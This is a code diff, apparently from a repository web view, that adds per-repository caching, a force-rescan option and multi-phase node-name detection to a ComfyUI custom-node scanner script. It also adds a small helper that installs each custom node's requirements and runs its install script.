||||
return commit_hash[:16] # First 16 chars
|
||||
else:
|
||||
# Detached HEAD
|
||||
return head_content[:16]
|
||||
except:
|
||||
pass
|
||||
|
||||
return ""
|
||||
|
||||
|
||||
def _load_per_repo_cache(repo_path: Path) -> Optional[tuple]:
|
||||
"""Load nodes and metadata from per-repo cache
|
||||
|
||||
Returns:
|
||||
tuple: (nodes_set, metadata_dict) or None if cache invalid
|
||||
"""
|
||||
cache_file = repo_path / ".git" / "nodecache.json"
|
||||
|
||||
if not cache_file.exists():
|
||||
return None
|
||||
|
||||
try:
|
||||
with open(cache_file, 'r') as f:
|
||||
cache_data = json.load(f)
|
||||
|
||||
# Verify scanner version
|
||||
if cache_data.get('scanner_version') != SCANNER_VERSION:
|
||||
return None
|
||||
|
||||
# Verify git hash
|
||||
current_hash = _get_repo_hash(repo_path)
|
||||
if cache_data.get('git_hash') != current_hash:
|
||||
return None
|
||||
|
||||
# Return nodes and metadata
|
||||
nodes = cache_data.get('nodes', [])
|
||||
metadata = cache_data.get('metadata', {})
|
||||
return (set(nodes) if nodes else set(), metadata)
|
||||
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
def _save_per_repo_cache(repo_path: Path, all_nodes: Set[str], metadata: dict = None):
|
||||
"""Save nodes and metadata to per-repo cache"""
|
||||
cache_file = repo_path / ".git" / "nodecache.json"
|
||||
|
||||
if not cache_file.parent.exists():
|
||||
return
|
||||
|
||||
git_hash = _get_repo_hash(repo_path)
|
||||
cache_data = {
|
||||
"scanner_version": SCANNER_VERSION,
|
||||
"git_hash": git_hash,
|
||||
"scanned_at": datetime.datetime.now().isoformat(),
|
||||
"nodes": sorted(list(all_nodes)),
|
||||
"metadata": metadata if metadata else {}
|
||||
}
|
||||
|
||||
try:
|
||||
with open(cache_file, 'w') as f:
|
||||
json.dump(cache_data, f, indent=2)
|
||||
except:
|
||||
pass # Silently fail - cache is optional
|
||||
|
||||
|
||||
def download_url(url, dest_folder, filename=None):
|
||||
@@ -51,11 +153,12 @@ Examples:
|
||||
# Standard mode
|
||||
python3 scanner.py
|
||||
python3 scanner.py --skip-update
|
||||
python3 scanner.py --skip-all --force-rescan
|
||||
|
||||
# Scan-only mode
|
||||
python3 scanner.py --scan-only temp-urls-clean.list
|
||||
python3 scanner.py --scan-only urls.list --temp-dir /custom/temp
|
||||
python3 scanner.py --scan-only urls.list --skip-update
|
||||
python3 scanner.py --scan-only urls.list --skip-update --force-rescan
|
||||
'''
|
||||
)
|
||||
|
||||
@@ -69,6 +172,8 @@ Examples:
|
||||
help='Skip GitHub stats collection')
|
||||
parser.add_argument('--skip-all', action='store_true',
|
||||
help='Skip all update operations')
|
||||
parser.add_argument('--force-rescan', action='store_true',
|
||||
help='Force rescan all nodes (ignore cache)')
|
||||
|
||||
# Backward compatibility: positional argument for temp_dir
|
||||
parser.add_argument('temp_dir_positional', nargs='?', metavar='TEMP_DIR',
|
||||
@@ -94,6 +199,11 @@ parse_cnt = 0
|
||||
def extract_nodes(code_text):
|
||||
global parse_cnt
|
||||
|
||||
# Check cache first
|
||||
cache_key = hash(code_text)
|
||||
if cache_key in _extract_nodes_cache:
|
||||
return _extract_nodes_cache[cache_key].copy()
|
||||
|
||||
try:
|
||||
if parse_cnt % 100 == 0:
|
||||
print(".", end="", flush=True)
|
||||
@@ -128,12 +238,458 @@ def extract_nodes(code_text):
|
||||
if key is not None and isinstance(key.value, str):
|
||||
s.add(key.value.strip())
|
||||
|
||||
# Cache the result
|
||||
_extract_nodes_cache[cache_key] = s
|
||||
return s
|
||||
else:
|
||||
# Cache empty result
|
||||
_extract_nodes_cache[cache_key] = set()
|
||||
return set()
|
||||
except Exception:
|
||||
except:
|
||||
# Cache empty result on error
|
||||
_extract_nodes_cache[cache_key] = set()
|
||||
return set()
|
||||
|
||||
def extract_nodes_from_repo(repo_path: Path, verbose: bool = False, force_rescan: bool = False) -> tuple:
|
||||
"""
|
||||
Extract all nodes and metadata from a repository with per-repo caching.
|
||||
|
||||
Automatically caches results in .git/nodecache.json.
|
||||
Cache is invalidated when:
|
||||
- Git commit hash changes
|
||||
- Scanner version changes
|
||||
- force_rescan flag is True
|
||||
|
||||
Args:
|
||||
repo_path: Path to repository root
|
||||
verbose: If True, print UI-only extension detection messages
|
||||
force_rescan: If True, ignore cache and force fresh scan
|
||||
|
||||
Returns:
|
||||
tuple: (nodes_set, metadata_dict)
|
||||
"""
|
||||
# Ensure path is absolute
|
||||
repo_path = repo_path.resolve()
|
||||
|
||||
# Check per-repo cache first (unless force_rescan is True)
|
||||
if not force_rescan:
|
||||
cached_result = _load_per_repo_cache(repo_path)
|
||||
if cached_result is not None:
|
||||
return cached_result
|
||||
|
||||
# Cache miss - scan all .py files
|
||||
all_nodes = set()
|
||||
all_metadata = {}
|
||||
py_files = list(repo_path.rglob("*.py"))
|
||||
|
||||
# Filter out __pycache__, .git, and other hidden directories
|
||||
filtered_files = []
|
||||
for f in py_files:
|
||||
try:
|
||||
rel_path = f.relative_to(repo_path)
|
||||
# Skip __pycache__, .git, and any directory starting with .
|
||||
if '__pycache__' not in str(rel_path) and not any(part.startswith('.') for part in rel_path.parts):
|
||||
filtered_files.append(f)
|
||||
except:
|
||||
continue
|
||||
py_files = filtered_files
|
||||
|
||||
for py_file in py_files:
|
||||
try:
|
||||
# Read file with proper encoding
|
||||
with open(py_file, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
code = f.read()
|
||||
|
||||
if code:
|
||||
# Extract nodes using SAME logic as scan_in_file
|
||||
# V1 nodes (enhanced with fallback patterns)
|
||||
nodes = extract_nodes_enhanced(code, py_file, visited=set(), verbose=verbose)
|
||||
all_nodes.update(nodes)
|
||||
|
||||
# V3 nodes detection
|
||||
v3_nodes = extract_v3_nodes(code)
|
||||
all_nodes.update(v3_nodes)
|
||||
|
||||
# Dict parsing - exclude commented NODE_CLASS_MAPPINGS lines
|
||||
pattern = r"_CLASS_MAPPINGS\s*(?::\s*\w+\s*)?=\s*(?:\\\s*)?{([^}]*)}"
|
||||
regex = re.compile(pattern, re.MULTILINE | re.DOTALL)
|
||||
|
||||
for match_obj in regex.finditer(code):
|
||||
# Get the line where NODE_CLASS_MAPPINGS is defined
|
||||
match_start = match_obj.start()
|
||||
line_start = code.rfind('\n', 0, match_start) + 1
|
||||
line_end = code.find('\n', match_start)
|
||||
if line_end == -1:
|
||||
line_end = len(code)
|
||||
line = code[line_start:line_end]
|
||||
|
||||
# Skip if line starts with # (commented)
|
||||
if re.match(r'^\s*#', line):
|
||||
continue
|
||||
|
||||
match = match_obj.group(1)
|
||||
|
||||
# Filter out commented lines from dict content
|
||||
match_lines = match.split('\n')
|
||||
match_filtered = '\n'.join(
|
||||
line for line in match_lines
|
||||
if not re.match(r'^\s*#', line)
|
||||
)
|
||||
|
||||
# Extract key-value pairs with double quotes
|
||||
key_value_pairs = re.findall(r"\"([^\"]*)\"\s*:\s*([^,\n]*)", match_filtered)
|
||||
for key, value in key_value_pairs:
|
||||
all_nodes.add(key.strip())
|
||||
|
||||
# Extract key-value pairs with single quotes
|
||||
key_value_pairs = re.findall(r"'([^']*)'\s*:\s*([^,\n]*)", match_filtered)
|
||||
for key, value in key_value_pairs:
|
||||
all_nodes.add(key.strip())
|
||||
|
||||
# Handle .update() pattern (AFTER comment removal)
|
||||
code_cleaned = re.sub(r'^#.*?$', '', code, flags=re.MULTILINE)
|
||||
|
||||
update_pattern = r"_CLASS_MAPPINGS\.update\s*\(\s*{([^}]*)}\s*\)"
|
||||
update_match = re.search(update_pattern, code_cleaned, re.DOTALL)
|
||||
if update_match:
|
||||
update_dict_text = update_match.group(1)
|
||||
# Extract key-value pairs (double quotes)
|
||||
update_pairs = re.findall(r'"([^"]*)"\s*:\s*([^,\n]*)', update_dict_text)
|
||||
for key, value in update_pairs:
|
||||
all_nodes.add(key.strip())
|
||||
# Extract key-value pairs (single quotes)
|
||||
update_pairs_single = re.findall(r"'([^']*)'\s*:\s*([^,\n]*)", update_dict_text)
|
||||
for key, value in update_pairs_single:
|
||||
all_nodes.add(key.strip())
|
||||
|
||||
# Additional regex patterns (AFTER comment removal)
|
||||
patterns = [
|
||||
r'^[^=]*_CLASS_MAPPINGS\["(.*?)"\]',
|
||||
r'^[^=]*_CLASS_MAPPINGS\[\'(.*?)\'\]',
|
||||
r'@register_node\("(.+)",\s*\".+"\)',
|
||||
r'"(\w+)"\s*:\s*{"class":\s*\w+\s*'
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
keys = re.findall(pattern, code_cleaned)
|
||||
all_nodes.update(key.strip() for key in keys)
|
||||
|
||||
# Extract metadata from this file
|
||||
metadata = extract_metadata_only(str(py_file))
|
||||
all_metadata.update(metadata)
|
||||
except Exception:
|
||||
# Silently skip files that can't be read
|
||||
continue
|
||||
|
||||
# Save to per-repo cache
|
||||
_save_per_repo_cache(repo_path, all_nodes, all_metadata)
|
||||
|
||||
return (all_nodes, all_metadata)
|
||||
|
||||
|
||||
def _verify_class_exists(node_name: str, code_text: str, file_path: Optional[Path] = None) -> tuple[bool, Optional[str], Optional[int]]:
|
||||
"""
|
||||
Verify that a node class exists and has ComfyUI node structure.
|
||||
|
||||
Returns: (exists: bool, file_path: str, line_number: int)
|
||||
|
||||
A valid ComfyUI node must have:
|
||||
- Class definition (not commented)
|
||||
- At least one of: INPUT_TYPES, RETURN_TYPES, FUNCTION method/attribute
|
||||
"""
|
||||
try:
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
tree = ast.parse(code_text)
|
||||
except:
|
||||
return (False, None, None)
|
||||
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, ast.ClassDef):
|
||||
if node.name == node_name or node.name.replace('_', '') == node_name.replace('_', ''):
|
||||
# Found class definition - check if it has ComfyUI interface
|
||||
has_input_types = False
|
||||
has_return_types = False
|
||||
has_function = False
|
||||
|
||||
for item in node.body:
|
||||
# Check for INPUT_TYPES method
|
||||
if isinstance(item, ast.FunctionDef) and item.name == 'INPUT_TYPES':
|
||||
has_input_types = True
|
||||
# Check for RETURN_TYPES attribute
|
||||
elif isinstance(item, ast.Assign):
|
||||
for target in item.targets:
|
||||
if isinstance(target, ast.Name):
|
||||
if target.id == 'RETURN_TYPES':
|
||||
has_return_types = True
|
||||
elif target.id == 'FUNCTION':
|
||||
has_function = True
|
||||
# Check for FUNCTION method
|
||||
elif isinstance(item, ast.FunctionDef):
|
||||
has_function = True
|
||||
|
||||
# Valid if has any ComfyUI signature
|
||||
if has_input_types or has_return_types or has_function:
|
||||
file_str = str(file_path) if file_path else None
|
||||
return (True, file_str, node.lineno)
|
||||
|
||||
return (False, None, None)
|
||||
|
||||
|
||||
def _extract_display_name_mappings(code_text: str) -> Set[str]:
|
||||
"""
|
||||
Extract node names from NODE_DISPLAY_NAME_MAPPINGS.
|
||||
|
||||
Pattern:
|
||||
NODE_DISPLAY_NAME_MAPPINGS = {
|
||||
"node_key": "Display Name",
|
||||
...
|
||||
}
|
||||
|
||||
Returns:
|
||||
Set of node keys from NODE_DISPLAY_NAME_MAPPINGS
|
||||
"""
|
||||
try:
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
tree = ast.parse(code_text)
|
||||
except:
|
||||
return set()
|
||||
|
||||
nodes = set()
|
||||
|
||||
for node in tree.body:
|
||||
if isinstance(node, ast.Assign):
|
||||
for target in node.targets:
|
||||
if isinstance(target, ast.Name) and target.id == 'NODE_DISPLAY_NAME_MAPPINGS':
|
||||
if isinstance(node.value, ast.Dict):
|
||||
for key in node.value.keys:
|
||||
if isinstance(key, ast.Constant) and isinstance(key.value, str):
|
||||
nodes.add(key.value.strip())
|
||||
|
||||
return nodes
|
||||
|
||||
|
||||
def extract_nodes_enhanced(
|
||||
code_text: str,
|
||||
file_path: Optional[Path] = None,
|
||||
visited: Optional[Set[Path]] = None,
|
||||
verbose: bool = False
|
||||
) -> Set[str]:
|
||||
"""
|
||||
Enhanced node extraction with multi-layer detection system.
|
||||
|
||||
Scanner 2.0.11 - Comprehensive detection strategy:
|
||||
- Phase 1: NODE_CLASS_MAPPINGS dict literal
|
||||
- Phase 2: Class.NAME attribute access (e.g., FreeChat.NAME)
|
||||
- Phase 3: Item assignment (NODE_CLASS_MAPPINGS["key"] = value)
|
||||
- Phase 4: Class existence verification (detects active classes even if registration commented)
|
||||
- Phase 5: NODE_DISPLAY_NAME_MAPPINGS cross-reference
|
||||
- Phase 6: Empty dict detection (UI-only extensions, logging only)
|
||||
|
||||
Fixed Bugs:
|
||||
- Scanner 2.0.9: Fallback cascade prevented Phase 3 execution
|
||||
- Scanner 2.0.10: Missed active classes with commented registrations (15 false negatives)
|
||||
|
||||
Args:
|
||||
code_text: Python source code
|
||||
file_path: Path to file (for logging and caching)
|
||||
visited: Visited paths (for circular import prevention)
|
||||
verbose: If True, print UI-only extension detection messages
|
||||
|
||||
Returns:
|
||||
Set of node names (union of all detected patterns)
|
||||
"""
|
||||
# Check file-based cache if file_path provided
|
||||
if file_path is not None:
|
||||
try:
|
||||
file_path_obj = Path(file_path) if not isinstance(file_path, Path) else file_path
|
||||
if file_path_obj.exists():
|
||||
current_mtime = file_path_obj.stat().st_mtime
|
||||
|
||||
# Check if we have cached result with matching mtime and scanner version
|
||||
if file_path_obj in _file_mtime_cache:
|
||||
cached_mtime = _file_mtime_cache[file_path_obj]
|
||||
cache_key = (str(file_path_obj), cached_mtime, SCANNER_VERSION)
|
||||
|
||||
if current_mtime == cached_mtime and cache_key in _extract_nodes_enhanced_cache:
|
||||
return _extract_nodes_enhanced_cache[cache_key].copy()
|
||||
except:
|
||||
pass # Ignore cache errors, proceed with normal execution
|
||||
|
||||
# Suppress warnings from AST parsing
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
warnings.filterwarnings('ignore', category=DeprecationWarning)
|
||||
|
||||
# Phase 1: Original extract_nodes() - dict literal
|
||||
phase1_nodes = extract_nodes(code_text)
|
||||
|
||||
# Phase 2: Class.NAME pattern
|
||||
if visited is None:
|
||||
visited = set()
|
||||
phase2_nodes = _fallback_classname_resolver(code_text, file_path)
|
||||
|
||||
# Phase 3: Item assignment pattern
|
||||
phase3_nodes = _fallback_item_assignment(code_text)
|
||||
|
||||
# Phase 4: NODE_DISPLAY_NAME_MAPPINGS cross-reference (NEW in 2.0.11)
|
||||
# This catches nodes that are in display names but not in NODE_CLASS_MAPPINGS
|
||||
phase4_nodes = _extract_display_name_mappings(code_text)
|
||||
|
||||
# Phase 5: Class existence verification ONLY for display name candidates (NEW in 2.0.11)
|
||||
# This phase is CONSERVATIVE - only verify classes that appear in display names
|
||||
# This catches the specific Scanner 2.0.10 bug pattern:
|
||||
# - NODE_CLASS_MAPPINGS registration is commented
|
||||
# - NODE_DISPLAY_NAME_MAPPINGS still has the entry
|
||||
# - Class implementation exists
|
||||
# Example: Bjornulf_ollamaLoader in Bjornulf_custom_nodes
|
||||
phase5_nodes = set()
|
||||
for node_name in phase4_nodes:
|
||||
# Only check classes that appear in display names but not in registrations
|
||||
if node_name not in (phase1_nodes | phase2_nodes | phase3_nodes):
|
||||
exists, _, _ = _verify_class_exists(node_name, code_text, file_path)
|
||||
if exists:
|
||||
phase5_nodes.add(node_name)
|
||||
|
||||
# Union all results (FIX: Scanner 2.0.9 bug + Scanner 2.0.10 bug)
|
||||
# 2.0.9: Used early return which missed Phase 3 nodes
|
||||
# 2.0.10: Only checked registrations, missed classes referenced in display names
|
||||
all_nodes = phase1_nodes | phase2_nodes | phase3_nodes | phase4_nodes | phase5_nodes
|
||||
|
||||
# Phase 6: Empty dict detector (logging only, doesn't add nodes)
|
||||
if not all_nodes:
|
||||
_fallback_empty_dict_detector(code_text, file_path, verbose)
|
||||
|
||||
# Cache the result
|
||||
if file_path is not None:
|
||||
try:
|
||||
file_path_obj = Path(file_path) if not isinstance(file_path, Path) else file_path
|
||||
if file_path_obj.exists():
|
||||
current_mtime = file_path_obj.stat().st_mtime
|
||||
cache_key = (str(file_path_obj), current_mtime, SCANNER_VERSION)
|
||||
_extract_nodes_enhanced_cache[cache_key] = all_nodes
|
||||
_file_mtime_cache[file_path_obj] = current_mtime
|
||||
except:
|
||||
pass
|
||||
|
||||
return all_nodes
|
||||
|
||||
|
||||
def _fallback_classname_resolver(code_text: str, file_path: Optional[Path]) -> Set[str]:
|
||||
"""
|
||||
Detect Class.NAME pattern in NODE_CLASS_MAPPINGS.
|
||||
|
||||
Pattern:
|
||||
NODE_CLASS_MAPPINGS = {
|
||||
FreeChat.NAME: FreeChat,
|
||||
PaidChat.NAME: PaidChat
|
||||
}
|
||||
"""
|
||||
try:
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
parsed = ast.parse(code_text)
|
||||
except:
|
||||
return set()
|
||||
|
||||
nodes = set()
|
||||
|
||||
for node in parsed.body:
|
||||
if isinstance(node, ast.Assign):
|
||||
for target in node.targets:
|
||||
if isinstance(target, ast.Name) and target.id == 'NODE_CLASS_MAPPINGS':
|
||||
if isinstance(node.value, ast.Dict):
|
||||
for key in node.value.keys:
|
||||
# Detect Class.NAME pattern
|
||||
if isinstance(key, ast.Attribute):
|
||||
if isinstance(key.value, ast.Name):
|
||||
# Use class name as node name
|
||||
nodes.add(key.value.id)
|
||||
# Also handle literal strings
|
||||
elif isinstance(key, ast.Constant) and isinstance(key.value, str):
|
||||
nodes.add(key.value.strip())
|
||||
|
||||
return nodes
|
||||
|
||||
|
||||
def _fallback_item_assignment(code_text: str) -> Set[str]:
|
||||
"""
|
||||
Detect item assignment pattern.
|
||||
|
||||
Pattern:
|
||||
NODE_CLASS_MAPPINGS = {}
|
||||
NODE_CLASS_MAPPINGS["MyNode"] = MyNode
|
||||
"""
|
||||
try:
|
||||
with warnings.catch_warnings():
|
||||
warnings.filterwarnings('ignore', category=SyntaxWarning)
|
||||
parsed = ast.parse(code_text)
|
||||
except:
|
||||
return set()
|
||||
|
||||
nodes = set()
|
||||
|
||||
for node in ast.walk(parsed):
|
||||
if isinstance(node, ast.Assign):
|
||||
for target in node.targets:
|
||||
if isinstance(target, ast.Subscript):
|
||||
if (isinstance(target.value, ast.Name) and
|
||||
target.value.id in ['NODE_CLASS_MAPPINGS', 'NODE_CONFIG']):
|
||||
# Extract key
|
||||
if isinstance(target.slice, ast.Constant):
|
||||
if isinstance(target.slice.value, str):
|
||||
nodes.add(target.slice.value)
|
||||
|
||||
return nodes
|
||||
|
||||
|
||||
def _extract_repo_name(file_path: Path) -> str:
|
||||
"""
|
||||
Extract repository name from file path.
|
||||
|
||||
Path structure: /home/rho/.tmp/analysis/temp/{author}_{reponame}/{path/to/file.py}
|
||||
Returns: {author}_{reponame} or filename if extraction fails
|
||||
"""
|
||||
try:
|
||||
parts = file_path.parts
|
||||
# Find 'temp' directory in path
|
||||
if 'temp' in parts:
|
||||
temp_idx = parts.index('temp')
|
||||
if temp_idx + 1 < len(parts):
|
||||
# Next part after 'temp' is the repo directory
|
||||
return parts[temp_idx + 1]
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
# Fallback to filename if extraction fails
|
||||
return file_path.name if hasattr(file_path, 'name') else str(file_path)
|
||||
|
||||
|
||||
def _fallback_empty_dict_detector(code_text: str, file_path: Optional[Path], verbose: bool = False) -> None:
|
||||
"""
|
||||
Detect empty NODE_CLASS_MAPPINGS (UI-only extensions).
|
||||
Logs for documentation purposes only (when verbose=True).
|
||||
|
||||
Args:
|
||||
code_text: Python source code to analyze
|
||||
file_path: Path to the file being analyzed
|
||||
verbose: If True, print detection messages
|
||||
"""
|
||||
empty_patterns = [
|
||||
'NODE_CLASS_MAPPINGS = {}',
|
||||
'NODE_CLASS_MAPPINGS={}',
|
||||
]
|
||||
|
||||
code_normalized = code_text.replace(' ', '').replace('\n', '')
|
||||
|
||||
for pattern in empty_patterns:
|
||||
pattern_normalized = pattern.replace(' ', '')
|
||||
if pattern_normalized in code_normalized:
|
||||
if file_path and verbose:
|
||||
repo_name = _extract_repo_name(file_path)
|
||||
print(f"Info: UI-only extension (empty NODE_CLASS_MAPPINGS): {repo_name}")
|
||||
return
|
||||
|
||||
def has_comfy_node_base(class_node):
|
||||
"""Check if class inherits from io.ComfyNode or ComfyNode"""
|
||||
@@ -229,6 +785,25 @@ def extract_v3_nodes(code_text):
|
||||
|
||||
|
||||
# scan
|
||||
def extract_metadata_only(filename):
|
||||
"""Extract only metadata (@author, @title, etc) without node scanning"""
|
||||
try:
|
||||
with open(filename, encoding='utf-8', errors='ignore') as file:
|
||||
code = file.read()
|
||||
|
||||
metadata = {}
|
||||
lines = code.strip().split('\n')
|
||||
for line in lines:
|
||||
if line.startswith('@'):
|
||||
if line.startswith("@author:") or line.startswith("@title:") or line.startswith("@nickname:") or line.startswith("@description:"):
|
||||
key, value = line[1:].strip().split(':', 1)
|
||||
metadata[key.strip()] = value.strip()
|
||||
|
||||
return metadata
|
||||
except:
|
||||
return {}
|
||||
|
||||
|
||||
def scan_in_file(filename, is_builtin=False):
|
||||
global builtin_nodes
|
||||
|
||||
@@ -242,8 +817,8 @@ def scan_in_file(filename, is_builtin=False):
|
||||
nodes = set()
|
||||
class_dict = {}
|
||||
|
||||
# V1 nodes detection
|
||||
nodes |= extract_nodes(code)
|
||||
# V1 nodes detection (enhanced with fallback patterns)
|
||||
nodes |= extract_nodes_enhanced(code, file_path=Path(filename), visited=set())
|
||||
|
||||
# V3 nodes detection
|
||||
nodes |= extract_v3_nodes(code)
|
||||
@@ -609,10 +1184,10 @@ def update_custom_nodes(scan_only_mode=False, url_list_file=None):
|
||||
if name.endswith(".py"):
|
||||
node_info[name] = (url, title, preemptions, node_pattern)
|
||||
|
||||
try:
|
||||
download_url(url, temp_dir)
|
||||
except Exception:
|
||||
print(f"[ERROR] Cannot download '{url}'")
|
||||
try:
|
||||
download_url(url, temp_dir)
|
||||
except:
|
||||
print(f"[ERROR] Cannot download '{url}'")
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(10) as executor:
|
||||
executor.map(download_and_store_info, py_url_titles_and_pattern)
|
||||
@@ -620,13 +1195,14 @@ def update_custom_nodes(scan_only_mode=False, url_list_file=None):
|
||||
return node_info
|
||||
|
||||
|
||||
def gen_json(node_info, scan_only_mode=False):
|
||||
def gen_json(node_info, scan_only_mode=False, force_rescan=False):
|
||||
"""
|
||||
Generate extension-node-map.json from scanned node information
|
||||
|
||||
Args:
|
||||
node_info (dict): Repository metadata mapping
|
||||
scan_only_mode (bool): If True, exclude metadata from output
|
||||
force_rescan (bool): If True, ignore cache and force rescan all nodes
|
||||
"""
|
||||
# scan from .py file
|
||||
node_files, node_dirs = get_nodes(temp_dir)
|
||||
@@ -642,13 +1218,17 @@ def gen_json(node_info, scan_only_mode=False):
|
||||
py_files = get_py_file_paths(dirname)
|
||||
metadata = {}
|
||||
|
||||
nodes = set()
|
||||
for py in py_files:
|
||||
nodes_in_file, metadata_in_file = scan_in_file(py, dirname == "ComfyUI")
|
||||
nodes.update(nodes_in_file)
|
||||
# Include metadata from .py files in both modes
|
||||
metadata.update(metadata_in_file)
|
||||
|
||||
# Use per-repo cache for node AND metadata extraction
|
||||
try:
|
||||
nodes, metadata = extract_nodes_from_repo(Path(dirname), verbose=False, force_rescan=force_rescan)
|
||||
except:
|
||||
# Fallback to file-by-file scanning if extract_nodes_from_repo fails
|
||||
nodes = set()
|
||||
for py in py_files:
|
||||
nodes_in_file, metadata_in_file = scan_in_file(py, dirname == "ComfyUI")
|
||||
nodes.update(nodes_in_file)
|
||||
metadata.update(metadata_in_file)
|
||||
|
||||
dirname = os.path.basename(dirname)
|
||||
|
||||
if 'Jovimetrix' in dirname:
|
||||
@@ -810,11 +1390,14 @@ if __name__ == "__main__":
|
||||
print("\n# Generating 'extension-node-map.json'...\n")
|
||||
|
||||
# Generate extension-node-map.json
|
||||
gen_json(updated_node_info, scan_only_mode)
|
||||
force_rescan = args.force_rescan if hasattr(args, 'force_rescan') else False
|
||||
if force_rescan:
|
||||
print("⚠️ Force rescan enabled - ignoring all cached results\n")
|
||||
gen_json(updated_node_info, scan_only_mode, force_rescan)
|
||||
|
||||
print("\n✅ DONE.\n")
|
||||
|
||||
if scan_only_mode:
|
||||
print("Output: extension-node-map.json (node mappings only)")
|
||||
else:
|
||||
print("Output: extension-node-map.json (full metadata)")
|
||||
print("Output: extension-node-map.json (full metadata)")
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
|
||||
def get_enabled_subdirectories_with_files(base_directory):
|
||||
subdirs_with_files = []
|
||||
for subdir in os.listdir(base_directory):
|
||||
try:
|
||||
full_path = os.path.join(base_directory, subdir)
|
||||
if os.path.isdir(full_path) and not subdir.endswith(".disabled") and not subdir.startswith('.') and subdir != '__pycache__':
|
||||
print(f"## Install dependencies for '{subdir}'")
|
||||
requirements_file = os.path.join(full_path, "requirements.txt")
|
||||
install_script = os.path.join(full_path, "install.py")
|
||||
|
||||
if os.path.exists(requirements_file) or os.path.exists(install_script):
|
||||
subdirs_with_files.append((full_path, requirements_file, install_script))
|
||||
except Exception as e:
|
||||
print(f"EXCEPTION During Dependencies INSTALL on '{subdir}':\n{e}")
|
||||
|
||||
return subdirs_with_files
|
||||
|
||||
|
||||
def install_requirements(requirements_file_path):
|
||||
if os.path.exists(requirements_file_path):
|
||||
subprocess.run(["pip", "install", "-r", requirements_file_path])
|
||||
|
||||
|
||||
def run_install_script(install_script_path):
|
||||
if os.path.exists(install_script_path):
|
||||
subprocess.run(["python", install_script_path])
|
||||
|
||||
|
||||
custom_nodes_directory = "custom_nodes"
|
||||
subdirs_with_files = get_enabled_subdirectories_with_files(custom_nodes_directory)
|
||||
|
||||
|
||||
for subdir, requirements_file, install_script in subdirs_with_files:
|
||||
install_requirements(requirements_file)
|
||||
run_install_script(install_script)
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user